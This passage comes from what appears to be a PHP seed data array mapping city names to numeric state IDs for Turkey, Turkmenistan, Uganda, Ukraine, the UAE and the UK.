'ulubey'],\n ['state_id' => '3741', 'name' => 'usak'],\n ['state_id' => '3742', 'name' => 'bahcesaray'],\n ['state_id' => '3742', 'name' => 'baskale'],\n ['state_id' => '3742', 'name' => 'caldiran'],\n ['state_id' => '3742', 'name' => 'edremit'],\n ['state_id' => '3742', 'name' => 'ercis'],\n ['state_id' => '3742', 'name' => 'gevas'],\n ['state_id' => '3742', 'name' => 'gurpinar'],\n ['state_id' => '3742', 'name' => 'muradiye'],\n ['state_id' => '3742', 'name' => 'ozalp'],\n ['state_id' => '3742', 'name' => 'saray'],\n ['state_id' => '3742', 'name' => 'van'],\n ['state_id' => '3743', 'name' => 'altinova'],\n ['state_id' => '3743', 'name' => 'armutlu'],\n ['state_id' => '3743', 'name' => 'ciftlikkoy'],\n ['state_id' => '3743', 'name' => 'cinarcik'],\n ['state_id' => '3743', 'name' => 'termal'],\n ['state_id' => '3743', 'name' => 'yalova'],\n ['state_id' => '3744', 'name' => 'akdagmadeni'],\n ['state_id' => '3744', 'name' => 'aydincik'],\n ['state_id' => '3744', 'name' => 'bogaziliyan'],\n ['state_id' => '3744', 'name' => 'candir'],\n ['state_id' => '3744', 'name' => 'cayiralan'],\n ['state_id' => '3744', 'name' => 'cekerek'],\n ['state_id' => '3744', 'name' => 'kadisehri'],\n ['state_id' => '3744', 'name' => 'saraykent'],\n ['state_id' => '3744', 'name' => 'sarikaya'],\n ['state_id' => '3744', 'name' => 'sefaatli'],\n ['state_id' => '3744', 'name' => 'sorgun'],\n ['state_id' => '3744', 'name' => 'yenifakili'],\n ['state_id' => '3744', 'name' => 'yerkoy'],\n ['state_id' => '3744', 'name' => 'yozgat'],\n ['state_id' => '3745', 'name' => 'alapli'],\n ['state_id' => '3745', 'name' => 'caycuma'],\n ['state_id' => '3745', 'name' => 'devrek'],\n ['state_id' => '3745', 'name' => 'eregli'],\n ['state_id' => '3745', 'name' => 'gokcebey'],\n ['state_id' => '3745', 'name' => 'zonguldak'],\n ['state_id' => '3746', 'name' => 'ahchadepe'],\n ['state_id' => '3746', 'name' => 'annau'],\n ['state_id' => '3746', 'name' => 'babadayhan'],\n ['state_id' => '3746', 'name' => 'baherden'],\n ['state_id' => '3746', 'name' => 'birleshik pervi'],\n ['state_id' => '3746', 'name' => 'buzmeyin'],\n ['state_id' => '3746', 'name' => 'dushak'],\n ['state_id' => '3746', 'name' => 'gokedepe'],\n ['state_id' => '3746', 'name' => 'kaka'],\n ['state_id' => '3746', 'name' => 'miana'],\n ['state_id' => '3746', 'name' => 'ovaz jalatay'],\n ['state_id' => '3746', 'name' => 'saragt'],\n ['state_id' => '3746', 'name' => 'tecen'],\n ['state_id' => '3747', 'name' => 'asgabat'],\n ['state_id' => '3748', 'name' => 'adyndaky'],\n ['state_id' => '3748', 'name' => 'balkanabat'],\n ['state_id' => '3748', 'name' => 'bekdash'],\n ['state_id' => '3748', 'name' => 'gasanguli'],\n ['state_id' => '3748', 'name' => 'gazanjyk'],\n ['state_id' => '3748', 'name' => 'goturdepe'],\n ['state_id' => '3748', 'name' => 'gumdag'],\n ['state_id' => '3748', 'name' => 'jebel'],\n ['state_id' => '3748', 'name' => 'karakala'],\n ['state_id' => '3748', 'name' => 'khazar'],\n ['state_id' => '3748', 'name' => 'serdar'],\n ['state_id' => '3748', 'name' => 'sharlawuk'],\n ['state_id' => '3748', 'name' => 'turkmenbasi'],\n ['state_id' => '3749', 'name' => 'akdepe'],\n ['state_id' => '3749', 'name' => 'boldumsaz'],\n ['state_id' => '3749', 'name' => 'dasoguz'],\n ['state_id' => '3749', 'name' => 'gubadag'],\n ['state_id' => '3749', 'name' => 'kohne urgenc'],\n ['state_id' => '3749', 'name' => 'moskva'],\n ['state_id' => '3749', 'name' => 'tagta'],\n ['state_id' => '3749', 'name' => 'yilanli'],\n ['state_id' => '3750', 'name' => 'darganata'],\n ['state_id' => '3750', 'name' => 'esenmengli'],\n ['state_id' => '3750', 'name' => 'farap'],\n ['state_id' => '3750', 'name' => 'gazojak'],\n ['state_id' => '3750', 'name' => 'govurdak'],\n ['state_id' => '3750', 'name' => 'halac'],\n ['state_id' => '3750', 'name' => 'kerki'],\n ['state_id' => '3750', 'name' => 'komsomolsk'],\n ['state_id' => '3750', 'name' => 'mukri'],\n ['state_id' => '3750', 'name' => 'sayat'],\n ['state_id' => '3750', 'name' => 'seydi'],\n ['state_id' => '3750', 'name' => 'turkmenabat'],\n ['state_id' => '3751', 'name' => 'bayramali'],\n ['state_id' => '3751', 'name' => 'eloten'],\n ['state_id' => '3751', 'name' => 'mari'],\n ['state_id' => '3751', 'name' => 'murgab'],\n ['state_id' => '3751', 'name' => 'sakarchage'],\n ['state_id' => '3751', 'name' => 'tagtabazar'],\n ['state_id' => '3751', 'name' => 'turkmengala'],\n ['state_id' => '3754', 'name' => 'vaiaku'],\n ['state_id' => '3755', 'name' => 'tonga'],\n ['state_id' => '3756', 'name' => 'lolua'],\n ['state_id' => '3757', 'name' => 'kua'],\n ['state_id' => '3758', 'name' => 'tanrake'],\n ['state_id' => '3759', 'name' => 'savave'],\n ['state_id' => '3760', 'name' => 'fangaua'],\n ['state_id' => '3761', 'name' => 'asau'],\n ['state_id' => '3762', 'name' => 'bombo'],\n ['state_id' => '3762', 'name' => 'bweyogerere'],\n ['state_id' => '3762', 'name' => 'entebbe'],\n ['state_id' => '3762', 'name' => 'jinja-kawempe'],\n ['state_id' => '3762', 'name' => 'kajansi'],\n ['state_id' => '3762', 'name' => 'kalangala'],\n ['state_id' => '3762', 'name' => 'kampala'],\n ['state_id' => '3762', 'name' => 'kayunga'],\n ['state_id' => '3762', 'name' => 'kiboga'],\n ['state_id' => '3762', 'name' => 'kireka'],\n ['state_id' => '3762', 'name' => 'kyotera'],\n ['state_id' => '3762', 'name' => 'lugazi'],\n ['state_id' => '3762', 'name' => 'lukaya'],\n ['state_id' => '3762', 'name' => 'luwero'],\n ['state_id' => '3762', 'name' => 'lyantonde'],\n ['state_id' => '3762', 'name' => 'masaka'],\n ['state_id' => '3762', 'name' => 'mityana'],\n ['state_id' => '3762', 'name' => 'mpigi'],\n ['state_id' => '3762', 'name' => 'mubende'],\n ['state_id' => '3762', 'name' => 'mukono'],\n ['state_id' => '3762', 'name' => 'nakasongola'],\n ['state_id' => '3762', 'name' => 'namasuba'],\n ['state_id' => '3762', 'name' => 'njeru'],\n ['state_id' => '3762', 'name' => 'nkonkonjeru'],\n ['state_id' => '3762', 'name' => 'rakai'],\n ['state_id' => '3762', 'name' => 'sembabule'],\n ['state_id' => '3762', 'name' => 'wakiso'],\n ['state_id' => '3762', 'name' => 'wobulenzi'],\n ['state_id' => '3763', 'name' => 'bugembe'],\n ['state_id' => '3763', 'name' => 'bugiri'],\n ['state_id' => '3763', 'name' => 'busembatia'],\n ['state_id' => '3763', 'name' => 'busia'],\n ['state_id' => '3763', 'name' => 'buwenge'],\n ['state_id' => '3763', 'name' => 'iganga'],\n ['state_id' => '3763', 'name' => 'jinja'],\n ['state_id' => '3763', 'name' => 'kaberamaido'],\n ['state_id' => '3763', 'name' => 'kamuli'],\n ['state_id' => '3763', 'name' => 'kapchorwa'],\n ['state_id' => '3763', 'name' => 'katakwi'],\n ['state_id' => '3763', 'name' => 'kumi'],\n ['state_id' => '3763', 'name' => 'malaba'],\n ['state_id' => '3763', 'name' => 'mayuge'],\n ['state_id' => '3763', 'name' => 'mbale'],\n ['state_id' => '3763', 'name' => 'ngora'],\n ['state_id' => '3763', 'name' => 'pallisa'],\n ['state_id' => '3763', 'name' => 'sironko'],\n ['state_id' => '3763', 'name' => 'soroti'],\n ['state_id' => '3763', 'name' => 'tororo'],\n ['state_id' => '3764', 'name' => 'adjumani'],\n ['state_id' => '3764', 'name' => 'amudat'],\n ['state_id' => '3764', 'name' => 'apac'],\n ['state_id' => '3764', 'name' => 'arua'],\n ['state_id' => '3764', 'name' => 'gulu'],\n ['state_id' => '3764', 'name' => 'kaabong'],\n ['state_id' => '3764', 'name' => 'kitgum'],\n ['state_id' => '3764', 'name' => 'koboko'],\n ['state_id' => '3764', 'name' => 'kotido'],\n ['state_id' => '3764', 'name' => 'lira'],\n ['state_id' => '3764', 'name' => 'moroto'],\n ['state_id' => '3764', 'name' => 'moyo'],\n ['state_id' => '3764', 'name' => 'nakapiripirit'],\n ['state_id' => '3764', 'name' => 'nebbi'],\n ['state_id' => '3764', 'name' => 'pader'],\n ['state_id' => '3764', 'name' => 'paidha'],\n ['state_id' => '3764', 'name' => 'pakwach'],\n ['state_id' => '3764', 'name' => 'yumbe'],\n ['state_id' => '3765', 'name' => 'bundibugyo'],\n ['state_id' => '3765', 'name' => 'bushenyi'],\n ['state_id' => '3765', 'name' => 'fort portal'],\n ['state_id' => '3765', 'name' => 'hima'],\n ['state_id' => '3765', 'name' => 'hoima'],\n ['state_id' => '3765', 'name' => 'ibanda'],\n ['state_id' => '3765', 'name' => 'kabale'],\n ['state_id' => '3765', 'name' => 'kabwohe-itendero'],\n ['state_id' => '3765', 'name' => 'kagadi'],\n ['state_id' => '3765', 'name' => 'kamwenge'],\n ['state_id' => '3765', 'name' => 'kanungu'],\n ['state_id' => '3765', 'name' => 'kasese'],\n ['state_id' => '3765', 'name' => 'katwe'],\n ['state_id' => '3765', 'name' => 'kibaale'],\n ['state_id' => '3765', 'name' => 'kigorobya'],\n ['state_id' => '3765', 'name' => 'kilembe'],\n ['state_id' => '3765', 'name' => 'kisoro'],\n ['state_id' => '3765', 'name' => 'kyenjojo'],\n ['state_id' => '3765', 'name' => 'masindi'],\n ['state_id' => '3765', 'name' => 'masindi-port'],\n ['state_id' => '3765', 'name' => 'mbarara'],\n ['state_id' => '3765', 'name' => 'muhororo'],\n ['state_id' => '3765', 'name' => 'ntungamo'],\n ['state_id' => '3765', 'name' => 'rukungiri'],\n ['state_id' => '3766', 'name' => 'cherkasy'],\n ['state_id' => '3766', 'name' => 'smila'],\n ['state_id' => '3766', 'name' => 'uman\\''],\n ['state_id' => '3767', 'name' => 'chernihiv'],\n ['state_id' => '3767', 'name' => 'nizhyn'],\n ['state_id' => '3767', 'name' => 'pryluky'],\n ['state_id' => '3768', 'name' => 'chernivtsi'],\n ['state_id' => '3769', 'name' => 'alushta'],\n ['state_id' => '3769', 'name' => 'sevastopol'],\n ['state_id' => '3770', 'name' => 'dneprodzerzhinsk'],\n ['state_id' => '3770', 'name' => 'dnipropetrovsk'],\n ['state_id' => '3770', 'name' => 'kryvyy rih'],\n ['state_id' => '3770', 'name' => 'marhanets\\''],\n ['state_id' => '3770', 'name' => 'nikopol\\''],\n ['state_id' => '3770', 'name' => 'novomoskovs\\'k'],\n ['state_id' => '3770', 'name' => 'pavlohrad'],\n ['state_id' => '3770', 'name' => 'plekhanov'],\n ['state_id' => '3770', 'name' => 'zhovti vody'],\n ['state_id' => '3771', 'name' => 'artemivs\\'k'],\n ['state_id' => '3771', 'name' => 'donets\\'k'],\n ['state_id' => '3771', 'name' => 'donetsk'],\n ['state_id' => '3771', 'name' => 'druzhkivka'],\n ['state_id' => '3771', 'name' => 'dymytrov'],\n ['state_id' => '3771', 'name' => 'dzerzhyns\\'k'],\n ['state_id' => '3771', 'name' => 'horlivka'],\n ['state_id' => '3771', 'name' => 'khartsyz\\'k'],\n ['state_id' => '3771', 'name' => 'kostyantynivka'],\n ['state_id' => '3771', 'name' => 'kramators\\'k'],\n ['state_id' => '3771', 'name' => 'krasnoarmiys\\'k'],\n ['state_id' => '3771', 'name' => 'makiyivka'],\n ['state_id' => '3771', 'name' => 'mariupol\\''],\n ['state_id' => '3771', 'name' => 'shakhtars\\'k'],\n ['state_id' => '3771', 'name' => 'slov\\'yans\\'k'],\n ['state_id' => '3771', 'name' => 'snizhne'],\n ['state_id' => '3771', 'name' => 'torez'],\n ['state_id' => '3771', 'name' => 'yenakiyeve'],\n ['state_id' => '3772', 'name' => 'ivano-frankivs\\'k'],\n ['state_id' => '3772', 'name' => 'kalush'],\n ['state_id' => '3772', 'name' => 'kolomyya'],\n ['state_id' => '3773', 'name' => 'izyum'],\n ['state_id' => '3773', 'name' => 'kharkiv'],\n ['state_id' => '3773', 'name' => 'lozova'],\n ['state_id' => '3774', 'name' => 'volchansk'],\n ['state_id' => '3775', 'name' => 'kherson'],\n ['state_id' => '3775', 'name' => 'nova kakhovka'],\n ['state_id' => '3776', 'name' => 'geologov'],\n ['state_id' => '3776', 'name' => 'kam\\'yanets\\'-podil\\'s\\'kyy'],\n ['state_id' => '3776', 'name' => 'khmel\\'nyts\\'kyy'],\n ['state_id' => '3776', 'name' => 'shepetivka'],\n ['state_id' => '3776', 'name' => 'khmelnitskiy'],\n ['state_id' => '3777', 'name' => 'kirovohrad'],\n ['state_id' => '3777', 'name' => 'oleksandriya'],\n ['state_id' => '3777', 'name' => 'svidlovodsk'],\n ['state_id' => '3778', 'name' => 'dzhankoy'],\n ['state_id' => '3778', 'name' => 'feodosiya'],\n ['state_id' => '3778', 'name' => 'kerch'],\n ['state_id' => '3778', 'name' => 'simferopol\\''],\n ['state_id' => '3778', 'name' => 'yalta'],\n ['state_id' => '3778', 'name' => 'yevpatoriya'],\n ['state_id' => '3779', 'name' => 'kiev'],\n ['state_id' => '3779', 'name' => 'kyyiv'],\n ['state_id' => '3780', 'name' => 'bila tserkva'],\n ['state_id' => '3780', 'name' => 'boryspil\\''],\n ['state_id' => '3780', 'name' => 'brovary'],\n ['state_id' => '3780', 'name' => 'fastiv'],\n ['state_id' => '3781', 'name' => 'chervonohrad'],\n ['state_id' => '3781', 'name' => 'drohobych'],\n ['state_id' => '3781', 'name' => 'l\\'viv'],\n ['state_id' => '3781', 'name' => 'stryy'],\n ['state_id' => '3781', 'name' => 'yavoriv'],\n ['state_id' => '3782', 'name' => 'alchevs\\'k'],\n ['state_id' => '3782', 'name' => 'antratsyt'],\n ['state_id' => '3782', 'name' => 'bryanka'],\n ['state_id' => '3782', 'name' => 'krasnodon'],\n ['state_id' => '3782', 'name' => 'krasnyy luch'],\n ['state_id' => '3782', 'name' => 'luhans\\'k'],\n ['state_id' => '3782', 'name' => 'luhansk'],\n ['state_id' => '3782', 'name' => 'lysychans\\'k'],\n ['state_id' => '3782', 'name' => 'pervomays\\'k'],\n ['state_id' => '3782', 'name' => 'roven\\'ky'],\n ['state_id' => '3782', 'name' => 'rubizhne'],\n ['state_id' => '3782', 'name' => 'stakhanov'],\n ['state_id' => '3782', 'name' => 'sverdlovs\\'k'],\n ['state_id' => '3782', 'name' => 'syeverodonets\\'k'],\n ['state_id' => '3783', 'name' => 'mykolayiv'],\n ['state_id' => '3783', 'name' => 'pervomays\\'k'],\n ['state_id' => '3784', 'name' => 'bilhorod-dnistrovs\\'kyy'],\n ['state_id' => '3784', 'name' => 'illichivs\\'k'],\n ['state_id' => '3784', 'name' => 'izmayil'],\n ['state_id' => '3784', 'name' => 'odesa'],\n ['state_id' => '3785', 'name' => 'odessa'],\n ['state_id' => '3786', 'name' => 'komsomol\\'s\\'k'],\n ['state_id' => '3786', 'name' => 'kremenchuh'],\n ['state_id' => '3786', 'name' => 'lubny'],\n ['state_id' => '3786', 'name' => 'poltava'],\n ['state_id' => '3787', 'name' => 'rivne'],\n ['state_id' => '3789', 'name' => 'konotop'],\n ['state_id' => '3789', 'name' => 'okhtyrka'],\n ['state_id' => '3789', 'name' => 'romny'],\n ['state_id' => '3789', 'name' => 'shostka'],\n ['state_id' => '3789', 'name' => 'sumy'],\n ['state_id' => '3790', 'name' => 'ternopil\\''],\n ['state_id' => '3791', 'name' => 'kovel\\''],\n ['state_id' => '3791', 'name' => 'luts\\'k'],\n ['state_id' => '3791', 'name' => 'novovolyns\\'k'],\n ['state_id' => '3792', 'name' => 'vinnitsa'],\n ['state_id' => '3792', 'name' => 'vinnytsya'],\n ['state_id' => '3793', 'name' => 'mukacheve'],\n ['state_id' => '3793', 'name' => 'uzhhorod'],\n ['state_id' => '3794', 'name' => 'berdyans\\'k'],\n ['state_id' => '3794', 'name' => 'enerhodar'],\n ['state_id' => '3794', 'name' => 'melitpol\\''],\n ['state_id' => '3794', 'name' => 'zaporizhia'],\n ['state_id' => '3795', 'name' => 'berdychiv'],\n ['state_id' => '3795', 'name' => 'korosten\\''],\n ['state_id' => '3795', 'name' => 'novohrad-volyns\\'kyy'],\n ['state_id' => '3795', 'name' => 'zhytomyr'],\n ['state_id' => '3797', 'name' => 'ajman'],\n ['state_id' => '3798', 'name' => 'al qusais'],\n ['state_id' => '3798', 'name' => 'deira'],\n ['state_id' => '3798', 'name' => 'dubai'],\n ['state_id' => '3798', 'name' => 'jebel ali'],\n ['state_id' => '3800', 'name' => 'sharjah'],\n ['state_id' => '3803', 'name' => 'khawr fakkan'],\n ['state_id' => '3803', 'name' => 'al-fujayrah'],\n ['state_id' => '3805', 'name' => 'cleveland'],\n ['state_id' => '3805', 'name' => 'gilberdyke'],\n ['state_id' => '3805', 'name' => 'llanrwst'],\n ['state_id' => '3805', 'name' => 'swadlincote'],\n ['state_id' => '3805', 'name' => 'turriff'],\n ['state_id' => '3806', 'name' => 'westhill'],\n ['state_id' => '3807', 'name' => 'oban'],\n ['state_id' => '3808', 'name' => 'craigavon'],\n ['state_id' => '3809', 'name' => 'barton-le-clay'],\n ['state_id' => '3809', 'name' => 'bedford'],\n ['state_id' => '3809', 'name' => 'biggleswade'],\n ['state_id' => '3809', 'name' => 'caddington'],\n ['state_id' => '3809', 'name' => 'flitton'],\n ['state_id' => '3809', 'name' => 'flitwick'],\n ['state_id' => '3809', 'name' => 'leighton buzzard'],\n ['state_id' => '3809', 'name' => 'marston moretaine'],\n ['state_id' => '3809', 'name' => 'sandy'],\n ['state_id' => '3809', 'name' => 'westoning'],\n ['state_id' => '3810', 'name' => 'dundonald'],\n ['state_id' => '3810', 'name' => 'holywood'],\n ['state_id' => '3811', 'name' => 'berkshire'],\n ['state_id' => '3811', 'name' => 'bracknell'],\n ['state_id' => '3811', 'name' => 'littlewick green'],\n ['state_id' => '3811', 'name' => 'maidenhead'],\n ['state_id' => '3811', 'name' => 'newbury'],\n ['state_id' => '3811', 'name' => 'reading'],\n ['state_id' => '3811', 'name' => 'sandhurst'],\n ['state_id' => '3811', 'name' => 'slough'],\n ['state_id' => '3811', 'name' => 'sunninghill'],\n ['state_id' => '3811', 'name' => 'twyford'],\n ['state_id' => '3811', 'name' => 'windsor'],\n ['state_id' => '3811', 'name' => 'wokingham'],\n ['state_id' => '3811', 'name' => 'woodley'],\n ['state_id' => '3812', 'name' => 'coleshill'],\n ['state_id' => '3812', 'name' => 'edgbaston'],\n ['state_id' => '3812', 'name' => 'hockley'],\n ['state_id' => '3812', 'name' => 'ladywood'],\n ['state_id' => '3812', 'name' => 'nechells'],\n ['state_id' => '3812', 'name' => 'rubery'],\n ['state_id' => '3812', 'name' => 'small heath'],\n ['state_id' => '3813', 'name' => 'angus'],\n ['state_id' => '3814', 'name' => 'bridgnorth'],\n ['state_id' => '3815', 'name' => 'avon'],\n ['state_id' => '3815', 'name' => 'fishponds'],\n ['state_id' => '3815', 'name' => 'henleaze'],\n ['state_id' => '3815', 'name' => 'thornbury'],\n ['state_id' => '3815', 'name' => 'warmley'],\n ['state_id' => '3816', 'name' => 'amersham'],\n ['state_id' => '3816', 'name' => 'aston clinton'],\n ['state_id' => '3816', 'name' => 'beaconsfield'],\n ['state_id' => '3816', 'name' => 'bletchley'],\n ['state_id' => '3816', 'name' => 'bourne end'],\n ['state_id' => '3816', 'name' => 'buckingham'],\n ['state_id' => '3816', 'name' => 'high wycombe'],\n ['state_id' => '3816', 'name' => 'iver'],\n ['state_id' => '3816', 'name' => 'marlow'],\n ['state_id' => '3816', 'name' => 'milton keynes'],\n ['state_id' => '3816', 'name' => 'newport pagnell'],\n ['state_id' => '3816', 'name' => 'piddington'],\n ['state_id' => '3816', 'name' => 'princes risborough'],\n ['state_id' => '3816', 'name' => 'rowsham'],\n ['state_id' => '3817', 'name' => 'cambridge'],\n ['state_id' => '3817', 'name' => 'ely'],\n ['state_id' => '3817', 'name' => 'huntingdon'],\n ['state_id' => '3817', 'name' => 'peterborough'],\n ['state_id' => '3818', 'name' => 'cambridge'],\n ['state_id' => '3818', 'name' => 'haddenham'],\n ['state_id' => '3818', 'name' => 'sawtry'],\n ['state_id' => '3818', 'name' => 'wisbech'],\n ['state_id' => '3820', 'name' => 'alderley edge'],\n ['state_id' => '3820', 'name' => 'altrincham'],\n ['state_id' => '3820', 'name' => 'betley'],\n ['state_id' => '3820', 'name' => 'cheadle gatley'],\n ['state_id' => '3820', 'name' => 'cheadle hulme'],\n ['state_id' => '3820', 'name' => 'crewe'],\n ['state_id' => '3820', 'name' => 'dukinfield'],\n ['state_id' => '3820', 'name' => 'holmes chapel'],\n ['state_id' => '3820', 'name' => 'hyde'],\n ['state_id' => '3820', 'name' => 'knuntsford'],\n ['state_id' => '3820', 'name' => 'knutsford'],\n ['state_id' => '3820', 'name' => 'lymm'],\n ['state_id' => '3820', 'name' => 'malpas'],\n ['state_id' => '3820', 'name' => 'merseyside'],\n ['state_id' => '3820', 'name' => 'middlewich'],\n ['state_id' => '3820', 'name' => 'mobberley'],\n ['state_id' => '3820', 'name' => 'nantwich'],\n ['state_id' => '3820', 'name' => 'saltney'],\n ['state_id' => '3820', 'name' => 'sandbach'],\n ['state_id' => '3820', 'name' => 'stalybridge'],\n ['state_id' => '3820', 'name' => 'stockport'],\n ['state_id' => '3820', 'name' => 'tarporley'],\n ['state_id' => '3820', 'name' => 'timperley'],\n ['state_id' => '3820', 'name' => 'widnes'],\n ['state_id' => '3820', 'name' => 'winsford'],\n ['state_id' => '3821', 'name' => 'redcar'],\n ['state_id' => '3821', 'name' => 'stockton-on-tees'],\n ['state_id' => '3823', 'name' => 'conwy'],\n ['state_id' => '3823', 'name' => 'llandudno'],\n ['state_id' => '3824', 'name' => 'bude'],\n ['state_id' => '3824', 'name' => 'camborne'],\n ['state_id' => '3824', 'name' => 'fowey'],\n ['state_id' => '3824', 'name' => 'hayle'],\n ['state_id' => '3824', 'name' => 'helston'],\n ['state_id' => '3824', 'name' => 'launceston'],\n ['state_id' => '3824', 'name' => 'liskeard'],\n ['state_id' => '3824', 'name' => 'looe'],\n ['state_id' => '3824', 'name' => 'mevegissey'],\n ['state_id' => '3824', 'name' => 'newquay'],\n ['state_id' => '3824', 'name' => 'penryn'],\n ['state_id' => '3824', 'name' => 'penzance'],\n ['state_id' => '3824', 'name' => 'st. ives'],\n ['state_id' => '3824', 'name' => 'truro'],\n ['state_id' => '3824', 'name' => 'wadebridge'],\n ['state_id' => '3825', 'name' => 'holbrooks'],\n ['state_id' => '3827', 'name' => 'askam-in-furness'],\n ['state_id' => '3827', 'name' => 'flookburgh'],\n ['state_id' => '3827', 'name' => 'grasmere'],\n ['state_id' => '3827', 'name' => 'kendal'],\n ['state_id' => '3827', 'name' => 'keswick'],\n ['state_id' => '3827', 'name' => 'kirkby stephen'],\n ['state_id' => '3827', 'name' => 'milnthorpe'],\n ['state_id' => '3827', 'name' => 'penrith'],\n ['state_id' => '3827', 'name' => 'ulverston'],\n ['state_id' => '3827', 'name' => 'windermere'],\n ['state_id' => '3828', 'name' => 'denbigh'],\n ['state_id' => '3829', 'name' => 'ashbourne'],\n ['state_id' => '3829', 'name' => 'buxton'],\n ['state_id' => '3829', 'name' => 'chesterfield'],\n ['state_id' => '3829', 'name' => 'eckington'],\n ['state_id' => '3830', 'name' => 'bakewell'],\n ['state_id' => '3830', 'name' => 'belper'],\n ['state_id' => '3830', 'name' => 'breaston'],\n ['state_id' => '3830', 'name' => 'derby'],\n ['state_id' => '3830', 'name' => 'ilkeston'],\n ['state_id' => '3830', 'name' => 'matlock'],\n ['state_id' => '3830', 'name' => 'ripley'],\n ['state_id' => '3831', 'name' => 'axminster'],\n ['state_id' => '3831', 'name' => 'barnstaple'],\n ['state_id' => '3831', 'name' => 'beaworthy'],\n ['state_id' => '3831', 'name' => 'bideford'],\n ['state_id' => '3831', 'name' => 'bovey tracey'],\n ['state_id' => '3831', 'name' => 'braunton'],\n ['state_id' => '3831', 'name' => 'brixham'],\n ['state_id' => '3831', 'name' => 'chudleigh'],\n ['state_id' => '3831', 'name' => 'crediton'],\n ['state_id' => '3831', 'name' => 'dalwood'],\n ['state_id' => '3831', 'name' => 'dartmouth'],\n ['state_id' => '3831', 'name' => 'dawlish'],\n ['state_id' => '3831', 'name' => 'exeter'],\n ['state_id' => '3831', 'name' => 'exmouth'],\n ['state_id' => '3831', 'name' => 'great torrington'],\n ['state_id' => '3831', 'name' => 'holsworthy'],\n ['state_id' => '3831', 'name' => 'kingsbridge'],\n ['state_id' => '3831', 'name' => 'modbury'],\n ['state_id' => '3831', 'name' => 'newton abbot'],\n ['state_id' => '3831', 'name' => 'okehampton'],\n ['state_id' => '3831', 'name' => 'plymouth'],\n ['state_id' => '3831', 'name' => 'plympton'],\n ['state_id' => '3831', 'name' => 'salcombe'],\n ['state_id' => '3831', 'name' => 'tiverton'],\n ['state_id' => '3831', 'name' => 'torquay'],\n ['state_id' => '3831', 'name' => 'totnes'],\n ['state_id' => '3831', 'name' => 'winkleigh'],\n ['state_id' => '3831', 'name' => 'woodburyd'],\n ['state_id' => '3831', 'name' => 'yelverton'],\n ['state_id' => '3833', 'name' => 'didcot'],\n ['state_id' => '3834', 'name' => 'beaminster'],\n ['state_id' => '3834', 'name' => 'blandford forum'],\n ['state_id' => '3834', 'name' => 'christchurch'],\n ['state_id' => '3834', 'name' => 'dorset'],\n ['state_id' => '3834', 'name' => 'poole'],\n ['state_id' => '3834', 'name' => 'sherborne'],\n ['state_id' => '3834', 'name' => 'sturminster newton'],\n ['state_id' => '3834', 'name' => 'swanage'],\n ['state_id' => '3834', 'name' => 'verwood'],\n ['state_id' => '3834', 'name' => 'wimborne'],\n ['state_id' => '3835', 'name' => 'alexandria'],\n ['state_id' => '3836', 'name' => 'crook'],\n ['state_id' => '3836', 'name' => 'spennymoor'],\n ['state_id' => '3842', 'name' => 'abingdon'],\n ['state_id' => '3842', 'name' => 'accrington'],\n ['state_id' => '3842', 'name' => 'aldershot'],\n ['state_id' => '3842', 'name' => 'alfreton'],\n ['state_id' => '3842', 'name' => 'altrincham'],\n ['state_id' => '3842', 'name' => 'amersham'],\n ['state_id' => '3842', 'name' => 'andover'],\n ['state_id' => '3842', 'name' => 'arnold'],\n ['state_id' => '3842', 'name' => 'ashford'],\n ['state_id' => '3842', 'name' => 'ashington'],\n ['state_id' => '3842', 'name' => 'ashton-in-makerfield'],\n ['state_id' => '3842', 'name' => 'ashton-under-lyne'],\n ['state_id' => '3842', 'name' => 'atherton'],\n ['state_id' => '3842', 'name' => 'aylesbury'],\n ['state_id' => '3842', 'name' => 'aylesford-east malling'],\n ['state_id' => '3842', 'name' => 'banbury'],\n ['state_id' => '3842', 'name' => 'banstead-tadworth'],\n ['state_id' => '3842', 'name' => 'barnsley'],\n ['state_id' => '3842', 'name' => 'barnstaple'],\n ['state_id' => '3842', 'name' => 'barrow-in-furness'],\n ['state_id' => '3842', 'name' => 'basildon'],\n ['state_id' => '3842', 'name' => 'basingstoke'],\n ['state_id' => '3842', 'name' => 'bath'],\n ['state_id' => '3842', 'name' => 'batley'],\n ['state_id' => '3842', 'name' => 'bebington'],\n ['state_id' => '3842', 'name' => 'bedford'],\n ['state_id' => '3842', 'name' => 'bedworth'],\n ['state_id' => '3842', 'name' => 'beeston and stapleford'],\n ['state_id' => '3842', 'name' => 'benfleet'],\n ['state_id' => '3842', 'name' => 'bentley'],\n ['state_id' => '3842', 'name' => 'berwick-upon-tweed'],\n ['state_id' => '3842', 'name' => 'beverley'],\n ['state_id' => '3842', 'name' => 'bexhil'],\n ['state_id' => '3842', 'name' => 'bicester'],\n ['state_id' => '3842', 'name' => 'bideford'],\n ['state_id' => '3842', 'name' => 'billericay'],\n ['state_id' => '3842', 'name' => 'billingham'],\n ['state_id' => '3842', 'name' => 'birkenhead'],\n ['state_id' => '3842', 'name' => 'birmingham'],\n ['state_id' => '3842', 'name' => 'bishop auckland'],\n ['state_id' => '3842', 'name' => 'bishop\\'s stortford'],\n ['state_id' => '3842', 'name' => 'blackburn'],\n ['state_id' => '3842', 'name' => 'blackpool'],\n ['state_id' => '3842', 'name' => 'bletchley'],\n ['state_id' => '3842', 'name' => 'blyth'],\n ['state_id' => '3842', 'name' => 'bodmin'],\n ['state_id' => '3842', 'name' => 'bognor regis'],\n ['state_id' => '3842', 'name' => 'bolton'],\n ['state_id' => '3842', 'name' => 'bootle'],\n ['state_id' => '3842', 'name' => 'boston'],\n ['state_id' => '3842', 'name' => 'bournemouth'],\n ['state_id' => '3842', 'name' => 'bracknell'],\n ['state_id' => '3842', 'name' => 'bradford'],\n ['state_id' => '3842', 'name' => 'braintree'],\n ['state_id' => '3842', 'name' => 'bredbury and romiley'],\n ['state_id' => '3842', 'name' => 'brentwood'],\n ['state_id' => '3842', 'name' => 'bridgwater'],\n ['state_id' => '3842', 'name' => 'bridlington'],\n ['state_id' => '3842', 'name' => 'brigg'],\n ['state_id' => '3842', 'name' => 'brighouse'],\n ['state_id' => '3842', 'name' => 'brighton'],\n ['state_id' => '3842', 'name' => 'bristol'],\n ['state_id' => '3842', 'name' => 'broadstairs'],\n ['state_id' => '3842', 'name' => 'bromley cross-bradshaw'],\n ['state_id' => '3842', 'name' => 'bromsgrove-catshill'],\n ['state_id' => '3842', 'name' => 'burgess hill'],\n ['state_id' => '3842', 'name' => 'burnley'],\n ['state_id' => '3842', 'name' => 'burntwood'],\n ['state_id' => '3842', 'name' => 'burton-upon-trent'],\n ['state_id' => '3842', 'name' => 'bury'],\n ['state_id' => '3842', 'name' => 'bury saint edmunds'],\n ['state_id' => '3842', 'name' => 